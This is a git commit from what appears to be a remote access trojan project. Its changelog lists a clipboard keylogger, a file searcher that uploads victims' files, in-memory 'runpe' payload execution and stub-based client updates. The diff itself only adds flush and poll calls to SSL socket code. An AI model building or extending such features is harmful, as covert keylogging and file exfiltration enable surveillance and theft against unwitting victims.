fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added group to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
This commit is contained in:
NYAN CAT 2020-04-22 07:17:43 +03:00
parent dfa505e2af
commit abca238794
15 changed files with 24 additions and 0 deletions

View File

@ -233,6 +233,7 @@ namespace Client.Connection
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -193,6 +193,7 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -190,6 +190,7 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -196,6 +196,7 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -197,11 +197,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -190,6 +190,7 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -190,6 +190,7 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }

View File

@ -190,11 +190,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -190,11 +190,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -109,11 +109,14 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -189,11 +189,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -190,11 +190,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -189,11 +189,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -189,11 +189,13 @@ namespace Plugin
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
} }
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

View File

@ -198,6 +198,7 @@ namespace Server.Connection
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read); SslClient.Write(chunk, 0, read);
SslClient.Flush();
lock (Settings.LockReceivedSendValue) lock (Settings.LockReceivedSendValue)
Settings.SentValue += read; Settings.SentValue += read;
} }